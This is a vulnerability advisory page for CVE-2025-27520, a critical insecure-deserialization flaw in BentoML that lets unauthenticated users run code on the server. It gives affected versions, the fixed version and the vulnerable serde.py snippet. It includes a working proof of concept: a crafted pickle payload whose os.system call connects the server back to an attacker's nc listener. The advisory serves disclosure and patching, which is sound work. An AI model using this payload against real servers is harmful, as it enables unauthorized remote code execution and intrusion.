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AI agent vulnerability · BentoML

CVE-2025-27520: BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization

criticalCVSS 3.1 9.8GHSA-33xw-247w-6hmc

Summary A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.

Published Apr 4, 2025

Affected packages

bentoml

Ecosystem
PyPI
Affected
>= 1.3.4, < 1.4.3
Fixed in
1.4.3
Check
pip show bentoml

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.

Details

It exists an unsafe code segment in serde.py:

def deserialize_value(self, payload: Payload) -> t.Any:
    if "buffer-lengths" not in payload.metadata:
        return pickle.loads(b"".join(payload.data))

Through data flow analysis, it is confirmed that the payload content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.

PoC

Environment:

  • Server host:
  • IP: 10.98.36.123
  • OS: Ubuntu
  • Attack host:
  • IP: 10.98.36.121
  • OS: Ubuntu
  1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.

1.1 Install BentoML (Server host: 10.98.36.123) : pip install -U bentoml

1.2 Define APIs in a service.py file (Server host: 10.98.36.123) :

from __future__ import annotations

import bentoml

@bentoml.service(
    resources={"cpu": "4"}
)
class Summarization:
    def __init__(self) -> None:
        import torch
        from transformers import pipeline

        device = "cuda" if torch.cuda.is_available() else "cpu"
        self.pipeline = pipeline('summarization', device=device)

    @bentoml.api(batchable=True)
    def summarize(self, texts: list[str]) -> list[str]:
        results = self.pipeline(texts)
        return [item['summary_text'] for item in results]

1.3 Run the service code (Server host: 10.98.36.123) :

pip install torch transformers  # additional dependencies for local run

bentoml serve
  1. Start nc listening on the attacking host (Attack host: 10.98.36.121) :

nc -lvvp 1234

  1. Send maliciously crafted request (Attack host: 10.98.36.121) :
import pickle
import os
import requests

headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

class Evil:
    def __reduce__(self):
        return(os.system, ('nc 10.98.36.121 1234',))

payload = pickle.dumps(Evil())

requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)
  1. Attack success (Attack host: 10.98.36.121) :

The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. nc

Impact

Remote Code Execution (RCE).

Credited to c2an1.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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